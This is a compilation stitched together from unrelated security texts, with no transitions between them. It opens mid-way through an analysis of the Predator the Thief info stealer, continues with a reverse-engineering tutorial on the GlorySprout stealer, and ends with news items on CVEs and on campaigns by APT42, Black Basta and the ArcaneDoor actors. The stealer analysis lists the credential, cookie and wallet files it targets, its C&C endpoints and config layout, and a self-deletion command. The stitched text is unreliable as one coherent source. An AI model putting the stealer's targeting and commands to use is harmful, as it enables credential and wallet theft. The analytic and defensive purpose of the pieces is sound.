As usual, all the variables that contain required files are obfuscated and encrypted by a simple XOR algorithm and in the end, this is the “static” list that the info stealer will be focused
File grabbed
Type
Actions
Login Data
Chrome / Chromium based
Copy & Parse
Cookies
Chrome / Chromium based
Copy & Parse
Web Data
Browsers
Copy & Parse
History
Browsers
Copy & Parse
formhistory.sqlite
Mozilla Firefox & Others
Copy & Parse
cookies.sqlite
Mozilla Firefox & Others
Copy & Parse
wallet.dat
Bitcoin
Copy & Parse
.sln
Visual Studio Projects
Copy filename into Project.txt
main.db
Skype
Copy & Parse
logins.json
Chrome
Copy & Parse
signons.sqlite
Mozilla Firefox & Others
Copy & Parse
places.sqlite
Mozilla Firefox & Others
Copy & Parse
Last Version
Mozilla Firefox & Others
Copy & Parse
Grabber n°2 (The dynamic one)
There is a second grabber in Predator The Thief, and this not only used when there is available config loaded in memory based on the first request done to the C&C. In fact, it’s also used as part of the process of searching & copying critical files coming from wallets software, communication software, and others…
The “main function” of this dynamic grabber only required three arguments:
The path where you want to search files
the requested file or mask
A path where the found files will be put in the final archive sent to the C&C
When the grabber is configured for a recursive search, it’s simply adding at the end of the path the value “..” and checking if the next file is a folder to enter again into the same function again and again.
In the end, in the fundamentals, this is almost the same pattern as the first grabber with the only difference that in this case, there are no parsing/analyzing files in an in-depth way. It’s simply this follow-up
Find a matched file based on the requested search
creating an entry on the stolen archive folder
setting a handle/pointer from the grabbed file
Save the whole content to memory
Repeat
Of course, there is a lot of particular cases that are to take in consideration here, but the main idea is like this.
What Predator is stealing in the end?
If we removed the dynamic grabber, this is the current list (for 3.3.2) about what kind of software that is impacted by this stealer, for sure, it’s hard to know precisely on the browser all the one that is impacted due to the generic grabber, but in the end, the most important one is listed here.
VPN
NordVPN
Communication
Jabber
Discord
Skype
FTP
WinSCP
WinFTP
FileZilla
Mails
Outlook
2FA Software
Authy (Inspired by Vidar)
Games
Steam
Battle.net (Inspired by Kpot)
Osu
Wallets
Electrum
MultiBit
Armory
Ethereum
Bytecoin
Bitcoin
Jaxx
Atomic
Exodus
Browser
Mozilla Firefox (also Gecko browsers using same files)
Chrome (also Chromium browsers using same files)
Internet Explorer
Edge
Unmentioned browsers using the same files detected by the grabber.
Also beside stealing other actions are performed like:
Performing a webcam picture capture
Performing a desktop screenshot
Loader
There is currently 4 kind of loader implemented into this info stealer
RunPE
CreateProcess
ShellExecuteA
LoadPE
LoadLibrary
For all the cases, I have explained below (on another part of this analysis) what are the options of each of the techniques performed. There is no magic, there is nothing to explain more about this feature these days. There are enough articles and tutorials that are talking about this. The only thing to notice is that Predator is designed to load the payload in different ways, just by a simple process creation or abusing some process injections (i recommend on this part, to read the work from endgame).
Module Manager
Something really interesting about this stealer these days, it that it developed a feature for being able to add the additional tasks as part of a module/plugin package. Maybe the name of this thing is wrongly named (i will probably be fixed soon about this statement). But now it’s definitely sure that we can consider this malware as a modular one.
When decrypting the config from check.get, you can understand fast that a module will be launched, by looking at the last entry…
This will be the name of the module that will be requested to the C&C. (this is also the easiest way to spot a new module).
example.get
example.post
The first request is giving you the config of the module (on my case it was like this), it’s saved but NOT decrypted (looks like it will be dealt by the module on this part). The other request is focused on downloading the payload, decrypting it and saving it to the disk in a random folder in %PROGRAMDATA% (also the filename is generated also randomly), when it’s done, it’s simply executed by ShellExecuteA.
Also, another thing to notice, you know that it’s designed to launch multiple modules/plugins.
Clipper (Optional module)
The clipper is one example of the Module that could be loaded by the module manager. As far as I saw, I only see this one (maybe they are other things, maybe not, I don’t have the visibility for that).
Disclaimer: Before people will maybe mistaken, the clipper is proper to Predator the Thief and this is NOT something coming from another actor (if it’s the case, the loader part would be used).
Clipper WinMain function
This malware module is developed in C++, and like Predator itself, you recognized pretty well the obfuscation proper to it (Stack strings, XOR, SUB, Code spaghetti, GetProcAddress recreated…). Well, everything that you love for slowing down again your analysis.
As detailed already a little above, the module is designed to grab the config from the main program, decrypting it and starting to do the process routine indefinitely:
Open Clipboard
Checking content based on the config loaded
If something matches put the malicious wallet
Sleep
Repeat
The clipper config is rudimentary using “|” as a delimiter. Mask/Regex on the left, malicious wallet on the right.
There is no communication with the C&C when the clipper is switching wallet, it’s an offline one.
Self Removal
When the parameters are set to 1 in the Predator config got by check.get, the malware is performing a really simple task to erase itself from the machine when all the tasks are done.
By looking at the bottom of the main big function where all the task is performed, you can see two main blocs that could be skipped. these two are huge stack strings that will generate two things.
the API request “ShellExecuteA”
The command “ping 127.0.0.1 & del %PATH%”
When all is prepared the thing is simply executed behind the classic register call. By the way, doing a ping request is one of the dozen way to do a sleep call and waiting for a little before performing the deletion.
This option is not performed by default when the malware is not able to get data from the C&C.
Telemetry files
There is a bunch of files that are proper to this stealer, which are generated during the whole infection process. Each of them has a specific meaning.
Information.txt
Signature of the stealer
Stealing statistics
Computer specs
Number of users in the machine
List of logical drives
Current usage resources
Clipboard content
Network info
Compile-time of the payload
Also, this generated file is literally “hell” when you want to dig into it by the amount of obfuscated code.
I can quote these following important telemetry files:
Software.txt
Windows Build Version
Generated User-Agent
List of software installed in the machine (checking for x32 and x64 architecture folders)
Actions.txt
List of actions & telemetry performed by the stealer itself during the stealing process
Projects.txt
List of SLN filename found during the grabber research (the static one)
CookeList.txt
List of cookies content fetched/parsed
Network
User-Agent “Builder”
Sometimes features are fun to dig in when I heard about that predator is now generating dynamic user-agent, I was thinking about some things but in fact, it’s way simpler than I thought.
The User-Agent is generated in 5 steps
Decrypting a static string that contains the first part of the User-Agent
Using GetTickCount and grabbing the last bytes of it for generating a fake builder version of Chrome
Decrypting another static string that contains the end of the User-Agent
Concat Everything
Profit
Tihs User-Agent is shown into the software.txt logfile.
C&C Requests
There is currently 4 kind of request seen in Predator 3.3.2 (it’s always a POST request)
Request
Meaning
api/check.get
Get dynamic config, tasks and network info
api/gate.get ?……
Send stolen data
api/.get
Get modular dynamic config
api/.post
Get modular dynamic payload (was like this with the clipper)
The first step – Get the config & extra Infos
For the first request, the response from the server is always in a specific form :
String obviously base64 encoded
Encrypted using RC4 encryption by using the domain name as the key
When decrypted, the config is pretty easy to guess and also a bit complex (due to the number of options & parameters that the threat actor is able to do).
[0;1;0;1;1;0;1;1;0;512;]#[[%userprofile%\Desktop|%userprofile%\Downloads|%userprofile%\Documents;*.xls,*.xlsx,*.doc,*.txt;128;;0]]#[Trakai;Republic of Lithuania;54.6378;24.9343;85.206.166.82;Europe/Vilnius;21001]#[]#[Clipper]
It’s easily understandable that the config is split by the “#” and each data and could be summarized like this
The stealer config
The grabber config
The network config
The loader config
The dynamic modular config (i.e Clipper)
I have represented each of them into an array with the meaning of each of the parameters (when it was possible).
Predator config
Args
Meaning
Field 1
Webcam screenshot
Field 2
Anti VM
Field 3
Skype
Field 4
Steam
Field 5
Desktop screenshot
Field 6
Anti-CIS
Field 7
Self Destroy
Field 8
Telegram
Field 9
Windows Cookie
Field 10
Max size for files grabbed
Field 11
Powershell script (in base64)
Grabber config
[]#[GRABBER]#[]#[]#[]
Args
Meaning
Field 1
%PATH% using “|” as a delimiter
Field 2
Files to grab
Field 3
Max sized for each file grabbed
Field 4
Whitelist
Field 5
Recursive search (0 – off | 1 – on)
Network info
[]#[]#[NETWORK]#[]#[]
Args
Meaning
Field 1
City
Field 2
Country
Field 3
GPS Coordinate
Field 4
Time Zone
Field 5
Postal Code
Loader config
[]#[]#[]#[LOADER]#[]
Format
[[URL;3;2;;;;1;amazon.com;0;0;1;0;0;5]]
Meaning
Loader URL
Loader Type
Architecture
Targeted Countries (“,” as a delimiter)
Blacklisted Countries (“,” as a delimiter)
Arguments on startup
Injected process OR Where it’s saved and executed
Pushing loader if the specific domain(s) is(are) seen in the stolen data
Pushing loader if wallets are presents
Persistence
Executing in admin mode
Random file generated
Repeating execution
???
Loader type (argument 2)
Value
Meaning
1
RunPE
2
CreateProcess
3
ShellExecute
4
LoadPE
5
LoadLibrary
Architecture (argument 3)
Value
Meaning
1
x32 / x64
2
x32 only
3
x64 only
If it’s RunPE (argument 7)
Value
Meaning
1
Attrib.exe
2
Cmd.exe
3
Audiodg.exe
If it’s CreateProcess / ShellExecuteA / LoadLibrary (argument 7)
This is an example of crafted request performed by Predator the thief
Third step – Modular tasks (optional)
/api/Clipper.get
Give the dynamic clipper config
/api/Clipper.post
Give the predator clipper payload
Server side
The C&C is nowadays way different than the beginning, it has been reworked with some fancy designed and being able to do some stuff:
Modulable C&C
Classic fancy index with statistics
Possibility to configure your panel itself
Dynamic grabber configuration
Telegram notifications
Backups
Tags for specific domains
Index
The predator panel changed a lot between the v2 and v3. This is currently a fancy theme one, and you can easily spot the whole statistics at first glance. the thing to notice is that the panel is fully in Russian (and I don’t know at that time if there is an English one).
Menu on the left is divide like this (but I’m not really sure about the correct translation)
In term of configuring predator, the choices are pretty wild:
The actor is able to tweak its panel, by modifying some details, like the title and detail that made me laugh is you can choose a dark theme.
There is also another form, the payload config is configured by just ticking options. When done, this will update the request coming from check.get
As usual, there is also a telegram bot feature
Creating Tags for domains seen
Small details which were also mentioned in Vidar, but if the actor wants specific attention for bots that have data coming from specific domains, it will create a tag that will help him to filter easily which of them is probably worth to dig into.
C and C++ binaries share several commonalities, however, some additional features and complexities introduced by C++ can make reverse engineering C++ binaries more challenging compared to C binaries. Some of the most important features are:
Name Mangling: C++ compilers often use name mangling to encode additional information about functions and classes into the symbol names in the binary. This can make it more challenging to understand the code’s structure and functionality by simply looking at symbol names.
Object-Oriented Features: C++ supports object-oriented programming (OOP) features such as classes, inheritance, polymorphism, and virtual functions. Reverse engineering C++ binaries may involve identifying and understanding these constructs, which may not exist in C binaries.
Templates: C++ templates allow for generic programming, where functions and classes can operate on different data types. Reverse engineering C++ templates can be complex due to the generation of multiple versions of the same function or class template with different types.
Another topic that is mandatory to understand when we approach binaries is related to the calling convention. Even if it’s determined by the operating system and the compiler ABI (Application Binary Interface) rather than the specific programming language being used, its one of the fundamental aspects that too many times is overlooked.
💡There are many other differences related to Runtime Type Information (RTTI), Constructor and Destructor Calls, Exception Handling and Compiler-Specific Features. Those topics aren’t less important than the others mentioned above, however, explaining a basic triage does not involve those topics and giving an explanation for all of them could just lose the focus. Moreover, If you don’t feel comfortable with calling conventions, refer to exceptional material on OALabs.
Why GlorySprout?
I know, probably this name for most of you does not mean anything because it does not represent one the most prominent threats on Cyberspace, however, didactically speaking, it has a lot of characteristics that make it a great fit. First of all it’s a recent malware and because of this, it shares most of the capabilities employed by more famous ones such as: obfuscation, api hashing, inline decryption etc.. Those characteristics are quite challenging to deal with, especially if we go against them to build an automation script that is going to replicate our work on multiple samples.
Another interesting characteristic of this malware is that it represents a fork of another malware called Taurus Stealer as reported by RussianPanda in her article. So, why is it important? Taurus Stealers have been dissected and a detailed report is available here. From a learning stand point it represents a plus, since if you are stuck somewhere in the code, you have a way out trying to match this GlorySprout capabilities with Taurus.
Let’s start our triage.
Binary Overview
Opening up the binary in IDA and scrolling a little bit from the main functions it should be clear that this binary is going to use some api hashing for retrieving DLLs, inline decryption and C++ structures to store some interesting value. To sum up, this binary is going to start resolving structures and APIs, perform inline decryption to start checking Windows information and installed softwares. However, those actions are not intended to be taken without caution. In fact, each time a string is decrypted, its memory region is then immediately zeroed after use. It means that a “quick and dirty” approach using dynamic analysis to inspect memory sections won’t give you insights about strings and/or targets.
Figure 1: Binary Overview
Identifying and Creating Structures
Identifying and creating structures is one of the most important tasks when we deal with C++ malware. Structures are mostly reused through all code, because of that, having a good understanding of structures is mandatory for an accurate analysis. In fact, applying structures properly will make the whole reversing process way more easier.
Now you may be wondering, how do we recognise a structure? In order to recognise structures it’s important to observe how a function is called and how input parameters are actually used.
In order to explain it properly, let’s take an example from GlorySprout.
Figure 2: Passing structure parameter
Starting from left to right, we see some functions callings that could help us to understand that we are dealing with a structure. Moreover, its also clear in this case, how big the structures is.
💡As said before, calling convention is important to understand how parameters are passed to a function. In this case, we are dealing with is a clear example of thiscall.
Let’s have a look at the function layout. Even if we are seeing that ecx is going to be used as a parameter for three functions, it is actually used each time with a different offset (this is a good indication that we are dealing with a structure). Moreover, if we have a look at the first call (sub_401DEB), this function seems to fill the first 0xF4 (244 in decimal) bytes pointed by ecx with some values. Once the function ends, there is the instruction lea ecx, [esi+0F8h] and another function call. This pattern is used a couple of times and confirms our hypothesis that each function is in charge to fill some offset of the structure.
From the knowledge we have got so far and looking at the code, we could also infer the structure passed to the third call (sub_406FF1) and the whole size of the structure.
sub_406FF1_bytes_to_fill = 0xF8 - 0x12C = 0x34 (52 bytes)
structure_size = 0xF8 + 0x34 = 0x12C (300 bytes) + 4 bytes realted to the size of the last value.
PowerShell
However, even if we resolved the size structures and understood where it is used, there is still a point missing. Where does this structure come from? To answer this question, it’s important to take a step back. Looking at the functionsub_40100A we see the instruction [mov ecx , offset unk_4463F8]. If you explore that variable you will see that it is stored at 0x004463F8 and the next variable is stored at 0x0044652F. If we do a subtraction through these two addresses, we have 312 bytes. There are two important things to highlight here. First of all, we are dealing with a global structure that is going to be used multiple times in different code sections (because of that, naming structure fields will be our first task), however, according to the size calculated, it seems that we are missing a few bytes. This could be a good indication that additional bytes will be used later on in the code to store an additional value. In fact, this insight is confirmed if we analyze the last function (sub_40B838). Opening up the function and skipping the prolog instructions, we could immediately see that the structure is moved in esi, and then a dword is moved to esi+4. It means that esi is adding 4 bytes to the structure that means that now the structure size is 308 bytes.
Figure 3: Understanding structure size
Now that we have a better understanding of the structure’s size, it’s time to understand its values. In order to figure out what hex values represent, we need to go a little bit deeper exploring the function. Going over a decryption routine, there is a call towards sub_404CC1. If we follow this call, we should immediately recognize a familiar structure (if not, have a look at this article). We are dealing with a routine that is going to resolve some APIs through the hex value passed to the function.
Figure 4: PEB and LDR data to collect loaded DLLs
Well, so far we have all the elements required to solve our puzzle! The structure we are dealing with is 312 bytes long and contains hex values related to APIs. Doing an educated guess, these values will be used and resolved on the fly, when a specific API function is required (structure file will be shared in the Reference section).
💡As part of the triage process, structures are usually the very first block of the puzzle to solve. In this case, we have seen a global structure that is stored within the data section. Exploring the data section a little bit deeper, you will find that structures from this sample are stored one after another. This could be a very good starting point to resolve structures values and hashes that could highlight the binary capabilities.
Resolving API Hash
If we recall Figure 3, we see multiple assignment instructions related to esi that contain our structure. Then in Figure 4 we discovered that API hashing routine is applied to some hex to get a reference to the corresponding function. The routine itself is quite easy and standard, at least in terms of retrieving the function name from the DLL (a detailed analysis has been done here).
Figure 5: API hashing routine
The Figure above, represents the routine applied to each function name in order to find a match with the hash passed as input. It should be easy to spot that esi contains (on each iteration) a string character that will be manipulated to produce the corresponding hash.
💡The routine itself does not require a lot of explanation and it’s pretty easy to reconstruct. In order to avoid any spoilers, if a reader wants to take this exercise, my code will be shared within the Reference section. It’s worth mentioning that this function could be implemented also through emulation, even if code preparation is a bit annoying compared to the function complexity, it could be a good exercise too.
Inline Decryption
So far we have done good work reconstructing structure layout and resolving API. That information gave us few insights about malware capabilities and in general, what could be the actions taken by this malware to perform its tasks. Unfortunately, we have just scratched the surface. In fact we are still missing information about malware configuration, such as: targets, C2, anti-debug, etc.. In fact, most of the interesting strings are actually decrypted with an inline routine.
💡For anyone of you that actually tried to analyze this malware, you should already familiar with inline decryption routine, since that it spread all around the code.
Inline decryption is a quite interesting technique that really slows down malware analysis because it requires decryption of multiple strings, usually with slight differences, on the fly. Those routines are all over the code and most of the malware actions involve their usage. An example has been already observed in Figure 4 and 5. However, in order to understand what we are talking about, The figure below show some routines related to this technique:
Figure 6: Inline Decryption
As you can see, all those routines are quite different, involving each time a different operand and sometimes, the whole string is built on multiple parts of the code. According to the information collected so far, about inline decryption, it should be clear that creating a script for each routine will take forever. Does it end our triage? Likely, we still have our secret weapon called emulation.
The idea to solve this challenge is quite simple and effective, but it requires a little bit of experience: Collect all strings and their decryption routine in order to properly emulate each snippet of code.
Automation
Automating all the inlineencryption and the hashing routine it’s not an easy task. First of all, we need to apply the evergreen approach of “dividi et impera”.In this way, the hashing routine have been partially solved using the template from a previous post. In this way, it’s just a matter of rewriting the function and we are going to have all the corresponding matches.
Figure 7: advapi32.dll resolved hashes
However, what is really interesting in this sample is related to the string decryption. The idea is quite simple but very effective. First of all, in order to emulate this code, we need to identify some structures that we could use as anchor that is going to indicate that the decryption routine ended. Then we need to jump back to the very first instruction that starts creating the stack string. Well, it is easier said than done, because jumping back in the middle of an instruction and then going forward to the anchor value would lead us to an unpredictable result. However, if we jump back, far enough from the stack string creation, we could traverse the instructions upside down, starting from the anchor value back to the stack string. Doing so won’t lead to any issue, since all instructions are actually correct.
Figure 8: Resolved strings
Conclusion
Through this post we have started to scratch the surface of C++ binaries, understanding calling conventions and highlighting some features of those binaries (e.g, classes and calling conventions). However, going further would have been confusing, providing too much details on information that wouldn’t have an immediate practical counterpart. Nevertheless, what was quite interesting regardless of the api hashing routine emulation, was the inline decryption routine, introducing the idea of anchors and solving the issue of jumping back from an instruction.
This week SolarWinds fixed the vulnerability in SolarWinds’ Web Help Desk solution for customer support. The flaw is a Java deserialization issue that an attacker can exploit to run commands on a vulnerable host leading to remote code execution.
SolarWinds describes WHD as an affordable Help Desk Ticketing and Asset Management Software that is widely used by large enterprises and government organizations.
“SolarWinds Web Help Desk was found to be susceptible to a Java Deserialization Remote Code Execution vulnerability that, if exploited, would allow an attacker to run commands on the host machine. While it was reported as an unauthenticated vulnerability, SolarWinds has been unable to reproduce it without authentication after thorough testing.” reads the advisory published by Solarwinds. “However, out of an abundance of caution, we recommend all Web Help Desk customers apply the patch, which is now available.”
The vulnerability CVE-2024-28986 impacts all Web Help Desk versions. The software firm urges customers to upgrade to WHD 12.8.3 all versions of Web Help Desk (WHD), and then install the hotfix.
The vulnerability was discovered by researchers at the company’s security firm. The company also thanked Inmarsat Government/Viasat for their assistance.
Users can find a step-by-step procedure to install the hotfix here.
Microsoft addressed a critical zero-click Windows remote code execution (RCE) in the TCP/IP stack that impacts all systems with IPv6 enabled.
Microsoft urges customers to fix a critical TCP/IP remote code execution (RCE) flaw, tracked as CVE-2024-38063 (CVSS score 9.8), in the TCP/IP stack. The vulnerability impacts all systems with IPv6 enabled (IPv6 is enabled by default).
An unauthenticated attacker can exploit the flaw by repeatedly sending IPv6 packets, including specially crafted packets, to a Windows machine which could lead to remote code execution.
Microsoft confirmed that a threat actor can exploit this flaw in a low-complexity attack and its exploitability assessment labels the issue as “exploitation more likely.” This label suggests that Microsoft is aware of past instances of this type of vulnerability being exploited.
Kunlun Lab’s XiaoWei discovered the flaw several months ago, he urged customers to apply the patches because the “exploitation is more likely.”
The flaw is a buffer overflow issue that can be exploited to achieve arbitrary code execution on vulnerable Windows 10, Windows 11, and Windows Server systems.
XiaoWei pointed out that blocking IPv6 on the local Windows firewall cannot prevent the exploitation of the issue because the vulnerability is triggered before it is processed by the firewall.
Microsoft recommends disabling IPv6 as a mitigation measure.
Many Google Pixel devices shipped since September 2017 have included a vulnerable app that could be exploited for malicious purposes.
Many Google Pixel devices shipped since September 2017 have included dormant software that could be exploited by attackers to compromise them. Researchers form mobile security firm iVerify reported that the issue stems from a pre-installed Android app called “Showcase.apk,” which runs with excessive system privileges, allowing it to remotely execute code and install remote package.
“iVerify discovered an Android package, “Showcase.apk,” with excessive system privileges, including remote code execution and remote package installation capabilities, on a very large percentage of Pixel devices shipped worldwide since September 2017.” reads the report. “The application downloads a configuration file over an unsecure connection and can be manipulated to execute code at the system level”
The issue allows the app to retrieve its configuration file over unsecured HTTP from a single AWS-hosted domain, exposing millions of Android Pixel devices to man-in-the-middle (MITM) attacks. Threat actors could exploit this flaw to inject malicious code, execute commands with system privileges, and take over devices, potentially leading to serious cybercrimes and data breaches.
The “Showcase.apk” package, developed by Smith Micro, is part of the firmware image on millions of Android Pixel phones, potentially enhancing sales in Verizon stores.
The app “Showcase.apk” cannot be removed through the standard uninstallation process, and Google has yet to address the vulnerability. The app is preinstalled in Pixel firmware and included in Google’s OTA updates for Pixel devices. The experts pointed out that although the app is not enabled by default, it can be activated through various methods, one of which requires physical access to the device.
The flawed app is called Verizon Retail Demo Mode (“com.customermobile.preload.vzw”) and requires dozens of permissions for its execution.
The app has been present since August 2016 [1, 2], but there is no evidence that this vulnerability has been exploited in the wild.
“The application fails to authenticate or verify a statically defined domain during retrieval of the application’s configuration file. If the application already maintains a persistent configuration file, it is unclear if additional checks are in place to ensure the configuration parameters for command-and-control or file retrieval are up to date.” continues the report. “The application uses unsecure default variable initialization during certificate and signature verification, resulting in valid verification checks after failure”
The application is vulnerable because its configuration file can be altered during retrieval or transit to the targeted phone. It also fails to handle missing public keys, signatures, and certificates, allowing attackers to bypass the verification process during downloads.
It is important to highlight that an attacker needs physical access to the device and the user’s password to exploit this flaw.
Google said the issue is not a vulnerability in Android or Pixel systems and announced that the app will be removed from all supported in-market Pixel devices with an upcoming Pixel software update.
Google is also notifying other Android OEMs.
iVerify noted that the concern is serious enough that Palantir Technologies is opting to ban Android devices from its mobile fleet over the next few years.
“The Showcase.apk discovery and other high-profile incidents, like running third-party kernel extensions in Microsoft Windows, highlight the need for more transparency and discussion around having third-party apps running as part of the operating system. It also demonstrates the need for quality assurance and penetration testing to ensure the safety of third-party apps installed on millions of devices.” concludes the report. “Further, why Google installs a third-party application on every Pixel device when only a very small number of devices would need the Showcase.apk is unknown. The concern is serious enough that Palantir Technologies, who helped identify the security issue, is opting to remove Android devices from its mobile fleet and transition entirely to Apple devices over the next few years.”
Experts linked an ongoing social engineering campaign, aimed at deploying the malware SystemBC, to the Black Basta ransomware group.
Rapid7 researchers uncovered a new social engineering campaign distributing the SystemBC dropper to the Black Basta ransomware operation.
On June 20, 2024, Rapid7 researchers detected multiple attacks consistent with an ongoing social engineering campaign being tracked by Rapid7. Experts noticed an important shift in the tools used by the threat actors during the recent incidents.
The attack chain begins in the same way, threat actors send an email bomb and then attempt to call the targeted users, often via Microsoft Teams, to offer a fake solution. They trick users into installing AnyDesk, allowing remote control of their computers.
During the attack, the attackers deploy a credential harvesting tool called AntiSpam.exe, which pretends to be a spam filter updater. This tool prompts users to enter their credentials, which are then saved or logged for later use.
The attackers used various payloads named to align with their initial lure, including SystemBC malware, Golang HTTP beacons, and Socks proxy beacons.
The researchers noticed the use of an executable named update6.exe designed to exploit the vulnerability CVE-2022-26923 for privilege escalation, and reverse SSH tunnels and the Level Remote Monitoring and Management (RMM) tool are used for lateral movement and maintaining access.
“When executed, update6.exe will attempt to exploit CVE-2022-26923 to add a machine account if the domain controller used within the environment is vulnerable.” reads the report published by Rapid7. “The debugging symbols database path has been left intact and indicates this: C:\Users\lfkmf\source\repos\AddMachineAccount\x64\Release\AddMachineAccount.pdb. The original source code was likely copied from the publicly available Cobalt Strike module created by Outflank.”
The SystemBC payload in update8.exe is dynamically retrieved from an encrypted resource and directly injected into a child process with the same name. The original SystemBC file is encrypted with an XOR key, and this key is exposed due to the encryption of padding null bytes between PE sections.
The researchers recommend mitigating the threat by blocking all unapproved remote monitoring and management solutions. AppLocker or Microsoft Defender Application Control can block all unapproved RMM solutions from executing within the environment.
Rapid7 also suggests of:
educating users about IT communication channels to spot and avoid social engineering attacks.
encouraging users to report suspicious calls and texts claiming to be from IT staff.
keeping software updated to protect against known vulnerabilities, including applying the patch for CVE-2022-26923 to prevent privilege escalation on vulnerable domain controllers.
The report also includes Indicators of Compromise for this campaign.
Google disrupted a hacking campaign carried out by the Iran-linked APT group APT42 targeting the US presidential election.
Google announced that it disrupted a hacking campaign carried out by Iran-linked group APT42 (Calanque, UNC788) that targeted the personal email accounts of individuals associated with the US elections.
APT42 focuses on highly targeted spear-phishing and social engineering techniques, its operations broadly fall into three categories, credential harvesting, surveillance operations, and malware deployment.
Microsoft has been tracking the threat actors at least since 2013, but experts believe that the cyberespionage group has been active since at least 2011.
In May and June, nation-state actors targeted former US government officials and individuals associated with the election campaigns of President Biden and former President Trump.
Google announced to have detected and blocked numerous attempts to log in to the personal email accounts of targeted individuals.
“In the current U.S. Presidential election cycle, TAG detected and disrupted a small but steady cadence of APT42’s Cluster C credential phishing activity. In May and June, APT42 targets included the personal email accounts of roughly a dozen individuals affiliated with President Biden and with former President Trump, including current and former officials in the U.S. government and individuals associated with the respective campaigns.” reads the report published by Google.
Some public reports confirm that APT42 has successfully breached accounts across multiple email providers. Google TAG experts reported that the APT group successfully gained access to the personal Gmail account of a high-profile political consultant.
Last week, Donald Trump’s presidential campaignannounced it was hacked, a spokesman attributed the attack to foreign sources hostile to the United States. The presidential campaign believes that Iran-linked threat actors may be involved in the cyber operation that is aimed at stealing and distributing sensitive documents. At this time, no specific evidence was provided.
The media outlet POLITICO first reported the hack, it became aware of the security breach after receiving emails from an anonymous account with documents from inside Trump’s operation.
The Trump campaign cited an incident that occurred in June where an Iran-linked APT, Mint Sandstorm, sent a spear-phishing email to a high-ranking campaign official from a compromised account.
The campaign cited a Microsoft report published on Friday that linked Iranian hackers to the spear phishing email sent to an official on a presidential campaign.
“Recent activity suggests the Iranian regime — along with the Kremlin — may be equally engaged in election 2024,” states Microsoft’s report.
APT42 uses social engineering tactics to trick targets into setting up video meetings, which then lead to phishing pages. Attackers used fake Google Meet pages, and lures involving OneDrive, Dropbox, and Skype. In the last six months Google has successfully disrupted the use of Google Sites in over 50 campaigns carried out APT42. Threat actors also used legitimate PDFs to build trust, eventually directing targets to communicate on platforms like Signal or Telegram, where phishing kits are sent to steal credentials.
APT42 employed several phishing kits targeting a variety of sign-on pages including:
GCollection, LCollection, and YCollection are advanced credential harvesting tools designed to collect login information from Google, Hotmail, and Yahoo users. Since their initial observation in January 2023, these tools have been continuously updated to handle multi-factor authentication, device PINs, and recovery codes for all three platforms. The toolkit includes various landing page URLs associated with its indicators of compromise.
DWP: a browser-in-the-browser phishing kit often delivered via URL shortener that is less full featured than GCollection.
APT42’campaings relies on detailed reconnaissance to target personal email addresses that may lack robust security measures. The attackers research the security settings of their targets’ email accounts, using failed login or recovery attempts to understand authentication factors, and adapt their phishing kits accordingly. This approach ensures their attacks appear legitimate, often including geographic location data to avoid detection. Once gained access to the accounts, the Iranian hackers typically modified account settings to enhance their control, such as changing recovery email addresses and exploiting application-specific passwords. Google’s Advanced Protection Program helps mitigate this by disabling these passwords.
“As we outlined above, APT42 is a sophisticated, persistent threat actor and they show no signs of stopping their attempts to target users and deploy novel tactics.” concludes the report. “This spring and summer, they have shown the ability to run numerous simultaneous phishing campaigns, particularly focused on Israel and the U.S. As hostilities between Iran and Israel intensify, we can expect to see increased campaigns there from APT42.”
Iranian news outlet reported that a major cyber attack targeted the Central Bank of Iran (CBI) and several other banks causing disruptions.
Iran International reported that a massive cyber attack disrupted operations of the Central Bank of Iran (CBI) and several other banks in the country. The attack crippled the computer systems of the banks in the country.
This incident coincides with intensified international scrutiny of Iran’s operations in Middle East, as Teheran announced attacks on Israel unless a ceasefire is achieved in the Gaza conflict. Intelligence experts also blame Iran of attempting to influence the upcoming US Presidential election.
According to Iran International, this is one of the largest cyberattacks on Iran’s state infrastructure to date.
Earlier Wednesday, Iran’s supreme leader, Ayatollah Ali Khamenei, said that “The exaggeration of our enemies’ capabilities is intended to spread fear among our people by the US, Britain, and the Zionists. The enemies’ hand is not as strong as it is publicized. We must rely on ourselves. The enemy’s goal is to spread psychological warfare to push us into political and economic retreat and achieve its objectives.”
“This cyberattack comes at a time of heightened international scrutiny of Iran’s actions in the region as Iran vows to retaliate for the assassination of Hamas leader Ismail Haniyeh earlier this month. The leaders of the UK, France, and Germany issued a joint statement warning Iran that it “will bear responsibility” for any attacks against Israel, which could further escalate regional tensions and jeopardize efforts towards a cease-fire and hostage-release deal.” reported the Israeli website Israel Hayom.
EU leaders urged Iran and its allies to avoid further attacks to avoid a new escalation between Israel and Hamas.
Nation-state actor UAT4356 has been exploiting two zero-days in ASA and FTD firewalls since November 2023 to breach government networks.
Cisco Talos warned that the nation-state actor UAT4356 (aka STORM-1849) has been exploiting two zero-day vulnerabilities in Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) firewalls since November 2023 to breach government networks worldwide.
Cisco Talos researchers tracked this cyber-espionage campaign as ArcaneDoor.
Early in 2024, a customer contacted Cisco to report a suspicious related to its Cisco Adaptive Security Appliances (ASA). PSIRT and Talos launched an investigation to support the customer.
The experts discovered that the UAT4356 group deployed two backdoors, respectively called “Line Runner” and “Line Dancer.”
Cisco reported that the sophisticated attack chain employed by the attackers impacted a small set of customers. The experts have yet to identify the initial attack vector, however, they discovered the threat actors exploited two vulnerabilities (CVE-2024-20353 (denial of service) and CVE-2024-20359 (persistent local code execution)) as zero-days in these attacks.
The Line Dancer in-memory implant that acts as a memory-resident shellcode interpreter that allows adversaries to execute arbitrary shellcode payloads. On compromised ASA devices, attackers utilize the host-scan-reply field to deliver shellcode, bypassing the need for CVE-2018-0101 exploitation. By redirecting the pointer to the Line Dancer interpreter, attackers can interact with the device through POST requests without authentication. Threat actors used Line Dancer to execute various commands, including disabling syslog, extracting configuration data, generating packet captures, and executing CLI commands. Additionally, Line Dancer hooks into the crash dump and AAA processes to evade forensic analysis and establish remote access VPN tunnels.
The Line Runner allows attackers to maintain persistence on compromised ASA devices. It exploits a legacy capability related to VPN client pre-loading, triggering at boot by searching for a specific file pattern on disk0:. Upon detection, it unzips and executes a Lua script, providing persistent HTTP-based backdoor access. This backdoor survives reboots and upgrades, allowing threat actors to maintain control. Additionally, the Line Runner was observed retrieving staged information facilitated by the Line Dancer component.
